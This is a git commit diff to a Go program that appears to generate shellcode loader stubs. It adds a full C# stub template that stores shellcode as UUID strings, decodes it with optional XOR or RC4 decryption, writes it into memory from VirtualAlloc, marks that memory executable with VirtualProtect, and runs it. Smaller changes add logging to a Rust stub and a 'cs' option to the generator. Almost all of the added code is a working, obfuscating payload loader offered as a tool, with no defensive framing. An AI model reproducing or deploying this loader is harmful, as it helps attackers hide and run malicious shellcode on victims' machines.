aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--main.go166
1 files changed, 166 insertions, 0 deletions
diff --git a/main.go b/main.go
index 1d785b9..a6853ee 100644
--- a/main.go
+++ b/main.go
@@ -295,6 +295,167 @@ int main() {
}
`
+const csharpStub = `// csc /unsafe /platform:x64 stub.cs
+using System;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace Stub
+{
+ class Program
+ {
+ const int ORIGINAL_SHELLCODE_LENGTH = {{ .OrigLen }};
+
+ static readonly string[] uuidStrings = new string[] {
+ {{- range .UUIDs }}
+ "{{ . }}",
+ {{- end }}
+ };
+
+ [DllImport("kernel32")]
+ static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
+
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ private delegate void ShellcodeDelegate();
+
+ [DllImport("kernel32.dll")]
+ static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
+
+ const uint PAGE_EXECUTE_READ = 0x20;
+ const uint PAGE_READWRITE = 0x04;
+ const uint MEM_COMMIT = 0x1000;
+ const uint MEM_RESERVE = 0x2000;
+ const uint PAGE_EXECUTE_READWRITE = 0x40;
+
+ static byte HexChar(char c)
+ {
+ if ('0' <= c && c <= '9') return (byte)(c - '0');
+ if ('a' <= c && c <= 'f') return (byte)(c - 'a' + 10);
+ if ('A' <= c && c <= 'F') return (byte)(c - 'A' + 10);
+ return 0;
+ }
+
+ static void ParseUUID(string s, byte[] outBuf, int offset)
+ {
+ int j = 0;
+ for (int i = 0; i < s.Length && j < 16; )
+ {
+ if (s[i] == '-')
+ {
+ i++;
+ continue;
+ }
+ outBuf[offset + j] = (byte)((HexChar(s[i]) << 4) | HexChar(s[i + 1]));
+ j++;
+ i += 2;
+ }
+ }
+
+ static byte[] DecodeUUIDs()
+ {
+ Console.WriteLine("decoding uuids to shellcode");
+ byte[] buf = new byte[uuidStrings.Length * 16];
+ for (int i = 0; i < uuidStrings.Length; i++)
+ {
+ ParseUUID(uuidStrings[i], buf, i * 16);
+ }
+ return buf;
+ }
+
+ {{- if .XORKey }}
+ static void XORDecode(byte[] buf, byte key)
+ {
+ Console.WriteLine("xor decrypting shellcode");
+ for (int i = 0; i < buf.Length; i++)
+ {
+ buf[i] ^= key;
+ }
+ }
+ {{- end }}
+
+ {{- if .RC4Key }}
+ public static byte[] RC4Crypt(byte[] input, byte[] key)
+ {
+ Console.WriteLine("rc4 decrypting shellcode");
+ byte[] output = new byte[input.Length];
+ byte[] s = new byte[256];
+ for (int i = 0; i < 256; i++)
+ s[i] = (byte)i;
+
+ int j = 0;
+ for (int i = 0; i < 256; i++)
+ {
+ j = (j + s[i] + key[i % key.Length]) & 255;
+ byte temp = s[i];
+ s[i] = s[j];
+ s[j] = temp;
+ }
+
+ int iIndex = 0;
+ int jIndex = 0;
+ for (int x = 0; x < input.Length; x++)
+ {
+ iIndex = (iIndex + 1) & 255;
+ jIndex = (jIndex + s[iIndex]) & 255;
+
+ byte temp = s[iIndex];
+ s[iIndex] = s[jIndex];
+ s[jIndex] = temp;
+
+ byte k = s[(s[iIndex] + s[jIndex]) & 255];
+ output[x] = (byte)(input[x] ^ k);
+ }
+
+ return output;
+ }
+ {{- end }}
+
+ static void Main(string[] args)
+ {
+ byte[] shellcode = DecodeUUIDs();
+
+ {{- if .XORKey }}
+ XORDecode(shellcode, {{ .XORKey }});
+ {{- end }}
+
+ {{- if .RC4Key }}
+ byte[] rc4KeyBytes = Encoding.ASCII.GetBytes("{{ .RC4Key }}");
+ shellcode = RC4Crypt(shellcode, rc4KeyBytes);
+
+ if (shellcode.Length > ORIGINAL_SHELLCODE_LENGTH)
+ {
+ Array.Resize(ref shellcode, ORIGINAL_SHELLCODE_LENGTH);
+ }
+
+ {{- end }}
+
+ Console.WriteLine("calling VirtualAlloc for memory allocation");
+ IntPtr execMem = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+ if (execMem == IntPtr.Zero)
+ {
+ Console.Error.WriteLine("VirtualAlloc failed");
+ return;
+ }
+
+ Marshal.Copy(shellcode, 0, execMem, shellcode.Length);
+
+ Console.WriteLine("calling VirtualProtect for memory permissions");
+ uint oldProtect;
+ bool vp = VirtualProtect(execMem, (UIntPtr)shellcode.Length, PAGE_EXECUTE_READ, out oldProtect);
+ if (!vp)
+ {
+ Console.Error.WriteLine("VirtualProtect failed");
+ return;
+ }
+
+ Console.WriteLine("executing shellcode");
+ ShellcodeDelegate sc = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(execMem, typeof(ShellcodeDelegate));
+ sc();
+ }
+ }
+}
+`
+
const rustStub = `// rustup target add x86_64-pc-windows-gnu
// cargo build --release --target x86_64-pc-windows-gnu
//
@@ -385,6 +546,7 @@ fn main() {
#[cfg(unix)]
{
+ println!("calling mmap for memory allocation");
ptr = mmap(
ptr::null_mut(),
shellcode.len(),
@@ -400,6 +562,7 @@ fn main() {
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
+ println!("calling VirtualAlloc for memory allocation");
ptr = VirtualAlloc(
ptr::null_mut(),
shellcode.len(),
@@ -504,6 +667,9 @@ func main() {
case "cwin":
stubContent = cWinStub
fileName = "stub.c"
+ case "cs":
+ stubContent = csharpStub
+ fileName = "stub.cs"
case "rs":
stubContent = rustStub
baseDir := "stub"